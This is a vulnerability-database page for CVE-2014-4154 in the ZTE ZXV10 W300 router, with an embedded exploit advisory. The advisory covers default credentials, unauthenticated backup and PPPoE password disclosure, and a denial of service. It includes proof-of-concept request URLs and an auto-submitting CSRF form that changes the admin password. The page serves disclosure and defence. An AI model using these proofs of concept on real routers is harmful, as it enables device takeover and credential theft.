CVE-2014-4154
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CVE Descriptions
ZTE ZXV10 W300 router with firmware W300V1.0.0a_ZRD_LK stores sensitive information under the web root with insufficient access control, which allows remote attackers to obtain the PPPoE/PPPoA password via a direct request for basic/tc2wanfun.js.
CVE Informations
Related Weaknesses
| Weakness Name | Source | |
|---|---|---|
| Category : Permissions, Privileges, and Access Controls Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control. |
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 5 | AV:N/AC:L/Au:N/C:P/I:N/A:N | nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 33803
Publication date : 2014-06-17 22h00 +00:00
Author : Osanda Malith Jayathissa
EDB Verified : No
# Exploit Title: ZTE WXV10 W300 Multiple Vulnerabilities
# Date: 17-05-2014
# Server Version: RomPager/4.07 UPnP/1.0
# Tested Routers: ZTE ZXV10 W300
# Firmware: W300V1.0.0a_ZRD_LK
# ADSL Firmware: FwVer:3.11.2.175_TC3086 HwVer:T14.F7_5.0
# Tested on: Kali Linux x86_64
# Exploit Author: Osanda Malith Jayathissa (@OsandaMalith)
# Original write-up:https://osandamalith.wordpress.com/2014/06/10/zte-and-tp-link-rompager-dos/
#1| Default Password Being Used (CVE-2014-4018)
------------------------------------------------
In ZTE routers the username is a constant which is "admin" and the password by default is "admin"
#2| ROM-0 Backup File Disclosure (CVE-2014-4019)
-------------------------------------------------
The rom-0 backup file contains sensitive information such as the router password.
There is a disclosure in which anyone can download that file without any authentication by a simple GET request.
POC:
http://192.168.1.1/rom-0
You can find the router password using my rom-0 configuration decompressor.
http://packetstormsecurity.com/files/127049/ZTE-TP-Link-ZynOS-Huawei-rom-0-Configuration-Decompressor.html
#3| PPPoE/PPPoA Password Disclosure in tc2wanfun.js (CVE-2014-4154)
---------------------------------------------------------------------
If you look at the frame source in the "Internet" tab under the "Interface Setup" you can see this doLoad function in line 542 which fetches the password and displays it there. The frame URI is /basic/home_wan.htm.
function doLoad() {
var value = document.forms[0].wanTypeRadio[2].checked;
doEnable();
QosCheck();
WANChkIdleTimeT();
if (value)
pppStaticCheck();
LockWhenPVC0();
LockPVC();
if(document.forms[0].wan_PPPPassword != null)
{
document.forms[0].wan_PPPPassword.value = pwdppp;
}
}
The "pwdpp" is loaded from an external file which you can see at the bottom of the page.
<script language="javascript" src="/basic/tc2wanfun.js"></script>
Once the user authenticates the router till another successful restart the password is written in that external JS file.
POC:
http://192.168.1.1/basic/tc2wanfun.js
#4| Admin Password Manipulation CSRF (CVE-2014-4155)
-----------------------------------------------------
You can change the password to blank by requesting /Forms/tools_admin_1 with a GET requesting containing HTTP basic authentication.
POC:
<iframe src="http://192.168.1.1/Forms/tools_admin_1" width="0" height="0"></iframe>
If you send something like above to the victim, he will be prompted for the login and once he enter his credentials, his password will be immediately changed to a blank password.
Ofcourse since there is no XSRF token in the request you change the password as you wish.
POC:
<html>
<body>
<form name="exploit" action="http://192.168.1.1/Forms/tools_admin_1" method="POST">
<input type="hidden" name="uiViewTools_Password" value="your_passwd" />
<input type="hidden" name="uiViewTools_PasswordConfirm" value="your_passwd" />
<script>document.exploit.submit(); </script>
</form>
</body>
</html>
#5| Denial of Service
-----------------------
You can see my previous post about this vulnerability and the exploit.
https://osandamalith.wordpress.com/2014/06/10/zte-and-tp-link-rompager-dos/
http://www.osvdb.org/show/osvdb/108076
http://packetstormsecurity.com/files/127076/ZTE-TP-Link-RomPager-Denial-Of-Service.html
http://www.exploit-db.com/exploits/33737
Products Mentioned
Configuraton 0
Zte>>Zxv10_w300_firmware >> Version 1.0.0a_zrd_lk
- Zte>>Zxv10_w300_firmware >> Version 1.0.0a_zrd_lk (Open CPE detail)
Zte>>Zxv10_w300 >> Version -
- Zte>>Zxv10_w300 >> Version - (Open CPE detail)
References
http://packetstormsecurity.com/files/127129/ZTE-WXV10-W300-Disclosure-CSRF-Default.html
Tags : x_refsource_MISC
Tags : x_refsource_MISC
https://osandamalith.wordpress.com/2014/06/15/zte-wxv10-w300-multiple-vulnerabilities/
Tags : x_refsource_MISC
Tags : x_refsource_MISC
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